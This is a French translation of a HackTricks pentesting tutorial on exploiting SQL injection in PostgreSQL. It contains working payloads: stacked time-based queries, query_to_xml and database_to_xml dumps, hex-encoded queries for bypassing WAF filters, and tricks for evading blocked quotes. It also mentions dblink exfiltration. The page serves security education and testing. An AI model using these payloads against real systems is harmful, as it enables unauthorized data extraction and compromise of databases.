hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-09-22 16:50:25 +00:00
..
big-binary-files-upload-postgresql.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:53 +00:00
dblink-lo_import-data-exfiltration.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:53 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:53 +00:00
pl-pgsql-password-bruteforce.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00
rce-with-postgresql-extensions.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:52 +00:00
rce-with-postgresql-languages.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:42 +00:00
README.md Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat 2024-09-22 16:50:25 +00:00

Injection PostgreSQL

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Formation Expert Red Team AWS (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Formation Expert Red Team GCP (GRTE)

Soutenir HackTricks
{% endhint %}

Si vous êtes intéressé par une carrière dans le hacking et par le fait de hacker l'inhackable - nous recrutons ! (polonais courant écrit et parlé requis).

{% embed url="https://www.stmcyber.com/careers" %}


Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interaction réseau - Escalade de privilèges, Scanner de ports, divulgation de réponse au défi NTLM & Exfiltration

Le module PostgreSQL dblink offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité COPY FROM, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponses au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment effectuer ces attaques.

Vous pouvez lire cet exemple pour voir un exemple CTF de comment charger des données à l'intérieur d'objets volumineux et ensuite exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur de la fonction dblink_connect.

Attaques PostgreSQL : Lecture/écriture, RCE, privesc

Vérifiez comment compromettre l'hôte et escalader les privilèges depuis PostgreSQL dans :

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Contournement de WAF

Fonctions de chaîne PostgreSQL

Manipuler des chaînes pourrait vous aider à contourner les WAF ou d'autres restrictions.
Sur cette page vous pouvez trouver des fonctions de chaînes utiles.

Requêtes empilées

Rappelez-vous que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Mais, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Astuces XML

query_to_xml

Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Cette fonction va exporter l'ensemble de la base de données au format XML en une seule ligne (faites attention si la base de données est très grande car vous pourriez provoquer un DoS ou même votre propre client) :

SELECT database_to_xml(true,true,'');

Chaînes en Hex

Si vous pouvez exécuter des requêtes en les passant dans une chaîne (par exemple en utilisant la fonction query_to_xml). Vous pouvez utiliser convert_from pour passer la chaîne en hex et contourner les filtres de cette manière :

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Citations interdites

Si vous ne pouvez pas utiliser de guillemets pour votre charge utile, vous pouvez contourner cela avec CHR pour des clauses de base (la concaténation de caractères ne fonctionne que pour des requêtes de base telles que SELECT, INSERT, DELETE, etc. Cela ne fonctionne pas pour toutes les instructions SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ou avec $. Ces requêtes renvoient les mêmes résultats :

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Si vous êtes intéressé par une carrière dans le hacking et que vous souhaitez hacker l'inhackable - nous recrutons ! (maîtrise du polonais écrit et parlé requise).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}